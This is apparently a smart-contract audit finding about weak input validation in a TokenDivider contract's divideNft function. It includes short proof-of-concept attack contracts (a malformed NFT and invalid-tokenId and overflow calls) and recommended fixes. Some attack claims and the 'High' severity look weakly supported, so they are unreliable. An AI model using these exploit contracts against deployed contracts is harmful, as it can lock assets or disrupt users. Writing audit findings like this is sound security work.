Summary
The TokenDivider
contract performs minimal input validation in critical functions, particularly in divideNft
. While basic zero-checks are implemented, the contract lacks comprehensive validation of input parameters, contract interactions, and state preconditions. This insufficient validation could lead to contract state corruption and potential system-wide failures.
Impact
Severity: High
The insufficient input validation could result in:
Creation of invalid or unusable fractional tokens
Permanent locking of NFTs in the contract
State inconsistencies between NFTs and their fractional tokens
System-wide failure due to malformed ERC20 token creation
Potential DoS attacks through crafted invalid inputs
Detailed Proof of Concept
Current Implementation
function divideNft(address nftAddress, uint256 tokenId, uint256 amount)
onlyNftOwner(nftAddress, tokenId)
onlyNftOwner(nftAddress ,tokenId) external {
if(nftAddress == address(0)) {
revert TokenDivider__NftAddressIsZero();
}
if(amount == 0) {
revert TokenDivider__AmountCantBeZero();
}
ERC20ToGenerateNftFraccion erc20Contract = new ERC20ToGenerateNftFraccion(
string(abi.encodePacked(ERC721(nftAddress).name(), "Fraccion")),
string(abi.encodePacked("F", ERC721(nftAddress).symbol())));
}
Attack Scenarios
Non-Compliant NFT Contract
contract MalformedNFT {
function ownerOf(uint256) external pure returns (address) {
return address(0);
}
function name() external pure returns (string memory) {
revert();
}
function symbol() external pure returns (string memory) {
return "";
}
}
State Corruption through Invalid TokenId
contract TokenDividerExploit {
TokenDivider target;
function exploit(address nftAddress) external {
target.divideNft(nftAddress, type(uint256).max, 1000);
target.divideNft(nftAddress, 999999, 1000);
}
}
Attack Simulation
Deploy Malformed NFT
MalformedNFT malNFT = new MalformedNFT();
divider.divideNft(address(malNFT), 1, 1000);
Invalid Token ID Attack
function executeAttack(address legitimateNFT) external {
IERC721(legitimateNFT).approve(address(divider), type(uint256).max);
divider.divideNft(legitimateNFT, type(uint256).max, 1000);
}
Amount Overflow Attack
function amountOverflowAttack(address nft, uint256 tokenId) external {
uint256 largeAmount = type(uint256).max;
divider.divideNft(nft, tokenId, largeAmount);
}
Recommendations
1. Comprehensive Input Validation Function
function _validateInputs(
address nftAddress,
uint256 tokenId,
uint256 amount
) private view {
if(nftAddress == address(0)) {
revert TokenDivider__NftAddressIsZero();
}
if(amount == 0) {
revert TokenDivider__AmountCantBeZero();
}
if(amount > type(uint128).max) {
revert TokenDivider__AmountTooLarge();
}
uint256 codeSize;
assembly {
codeSize := extcodesize(nftAddress)
}
if(codeSize == 0) {
revert TokenDivider__NonExistentContract();
}
if(!IERC165(nftAddress).supportsInterface(type(IERC721).interfaceId)) {
revert TokenDivider__InvalidNFTImplementation();
}
try IERC721(nftAddress).ownerOf(tokenId) returns (address owner) {
if(owner == address(0)) {
revert TokenDivider__InvalidTokenId();
}
} catch {
revert TokenDivider__NonexistentToken();
}
if(nftToErc20Info[nftAddress].erc20Address != address(0)) {
revert TokenDivider__AlreadyFractionalized();
}
}
2. Safe ERC20 Token Creation
function _createFractionToken(
address nftAddress,
uint256 tokenId
) private returns (ERC20ToGenerateNftFraccion) {
string memory nftName;
string memory nftSymbol;
try ERC721(nftAddress).name() returns (string memory name) {
nftName = name;
} catch {
nftName = "UnknownNFT";
}
try ERC721(nftAddress).symbol() returns (string memory symbol) {
nftSymbol = symbol;
} catch {
nftSymbol = "UNKNFT";
}
require(bytes(nftName).length > 0, "Invalid NFT name");
require(bytes(nftSymbol).length > 0, "Invalid NFT symbol");
return new ERC20ToGenerateNftFraccion(
string(abi.encodePacked(nftName, " Fraction")),
string(abi.encodePacked("f", nftSymbol))
);
}
3. Updated Main Function Implementation
function divideNft(
address nftAddress,
uint256 tokenId,
uint256 amount
) external nonReentrant {
_validateInputs(nftAddress, tokenId, amount);
ERC20ToGenerateNftFraccion erc20Contract = _createFractionToken(
nftAddress,
tokenId
);
}
These improvements provide:
Comprehensive input validation
Protection against malformed NFT contracts
Safe handling of token names and symbols
Prevention of state corruption
Clear error messages for different failure cases
Protection against overflow and underflow
Validation of contract existence and interface compliance